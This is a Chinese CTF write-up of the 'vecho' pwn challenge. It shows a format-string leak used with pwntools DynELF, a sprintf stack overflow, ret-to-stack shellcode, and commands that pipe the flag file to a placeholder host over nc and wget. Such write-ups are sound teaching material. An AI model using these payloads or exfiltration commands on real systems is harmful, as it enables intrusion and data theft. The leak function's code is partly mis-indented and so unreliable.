CSP CTF pwn 40 - vecho

題目

這題是一個 socket server,連線進來 frok handler 不斷 echo input 回去

echo 的東西是 input sprintf 出來的 有 fmt 洞,但擋掉了 ‘n’ 也就是不給寫入

解這一題走了許多彎路,花了超久,但也因此用了一些沒用過的 pwntools 工具: DynELF

handler function:

![](http://user-image.logdown.io/user/14835/blog/14031/post/379583/uWMiX4rVSymDLciIOvoe_vecho2.jpg)

echo function:

![](http://user-image.logdown.io/user/14835/blog/14031/post/379583/LjQXY06QSuuNho6K3GwY_vecho1.jpg)

過程

DynELF

依照 hint, DEP 沒開,還有 overflow 提示,但因為 ADL 那一題的慣性 讓我一直想 hiject strcmp, 所以為了拿 libc 地址,開始研究 DynELF

用法大概如下,其中 ret_of_main 為某一在 libc 中的地址,我是從 stack 中拿 retrutn address of main

DynELF 會先往上找出 loading base, 接著幫你分辦一下 libc ver 然後找出 symbol 地址

d = DynELF(leak, ret_of_main)
system_adr = d.lookup('system', 'libc')

leak 為一個 洩漏任意地址 callback function 因為 fmt buf 在 stack 上,可以拿來利用

要注意的是因為 sprintf 過去的 buf 有可能會 overflow 導至 handler 壞掉, DynELF 卡住 所以要用%xs控制一下讀出的 mem 長度,還有就是讀出來沒東西(‘\x00’)的情況也要處理到。

payload = "%{}$.8sxxxx\x00".format(ped+3)+p32(adr)

完整的 leak function:

def leak(adr):
    if adr < 0x08048000:
        return ''
    global ped, r # pedding in stack point to head of input buffer, and r for remote conn
    # big problem is buffer of sprintf isn't long enought, %s may too long and will crash handler
    # also, sprintf eat input str end of \x00, but address of page align always contains \x00, 
    # to avoid cutting of payload, just put address after fmt payload, recv will still recv to buffer(in stack)
    payload = "%{}$.8sxxxx\x00".format(ped+3)+p32(adr)
    r.send(payload)
    time.sleep(0.02)
    r.recvuntil('Type string to echo back: ')

s = r.recvuntil('xx')
if len(s) == 8: # recv did not contain any mem data
    return '\x00'
rtn = (s[6:s.index('xx')]) # ret of echo is str in format 'Echo: ' + xxx
return rtn

Overflow

First try

YA! 拿到 system address 了。。。 好像不能做啥

GOT Hiject?

%n 被 filte 掉了無法寫入

ret to libc?

嗯。。來試試看,首先 echo 內的 recv buf 並沒有 overflow 的可能, recv 的大沒沒有比 buf 大

char s[64];
。。。
if ( recv(fd, s, 63u, 0) )

回頭看一下 sprintf 去的 buf, 是在 echoServer 的 stack frame 中,大小 128 經過 sprintf 可用 $nc 來 overflow

stack 長這様

![](http://user-image.logdown.io/user/14835/blog/14031/post/379583/z06KrtnT4CwSbjJn0qmU_IMG_20151221_112710.jpg)

要蓋的是 echoServer 的 return address payload 可以長這様

payload = pa_n_c(128-6)+'g'+s_canary[1:]+pa_n_c(0x18+4)+p32(system_adr)+'aaaa'+p32(p_buf)
# aaaa for fake ret of system
send..
payload = pa_n_c(128-6) # overwrite 'g' to \x00
send..

但馬上遇到問題,sock fd 被蓋到 無法再收發 data

如果要把 ‘aaaa’ 改成 fd 又會因為 fd 太小 p32 中有 \x00 導致後面被截斷

這邊卡了許久~

Try again

後來突然想到 hint DEP 沒開,那我還不 ret to stack 跑我精心制做的 asm code, 於是我好興奮地用了 pwntools 的 asm

asmc = "push {}\n"
asmc += "push {}\n"
asmc += "push {}\n"
asmc += "ret\n"
asmc = asm.format(poi_buf, fake_ret, system_addr)

asmc = asm(asmc)

接著是一段漫長的 debug 時光,我用 gdb set follow-fork-mode child 看了許多遍,都正確 ret to system, 同時 esp+4 也 point 到 我給的 cmd, 至少 x/s 出來有

但 cmd 卻始終沒有跑起來 甚至 system 都 return 回 fake_ret 了

想了好久才開始猜是不是 system 把我的 cmd 吃了。。。 嘗試先 add esp

但直接 add esp, 0xN 的 machine code 是把 0xN 以 little endian, dwork 方式包在 machine code 中

只好繞來繞去 避開 machine code 中出現 \x00

inc ecx
inc ecx
inc ecx
imul ecx, ecx
imul ecx, ecx
add esp, ecx

然後就可以塞 cmd 了 一開始用 touch /tmp/xxx 可以 work 後馬上嘗試用 cat /home/ctf/flag | nc x.x.x.x y

想當然爾不能動… 最有問題的是 nc 中有 n …….

還有就是我一開始串的方法是

cmd = code+"cat ...."

也就是 machine code 長度 + 指令長度 不能超過 63(echo 的 buf)

但光是 ip 就至少 15 bytes, path 就 14 bytes, 還要預留 exit 的空間等等 總之就是不夠

所以分兩次塞 先把指令塞到 echoServer 128 buffer 後半部 (%xc+cmd)

再塞 machine code

指令部分改成 wget x.x.x.x:y/?cat /home/ctf/flag

接著又因為 stack 拉不夠遠又把指令吃掉撞牆了一陣子 後來在加一次 add esp, ecx 後終於成功了

大大的解法

根據 meh 大大表示 asm code 跑 dup2(fd, 0) dup2(fd, 1) 就好啦

。。。嗯 原來有 dup2 可以用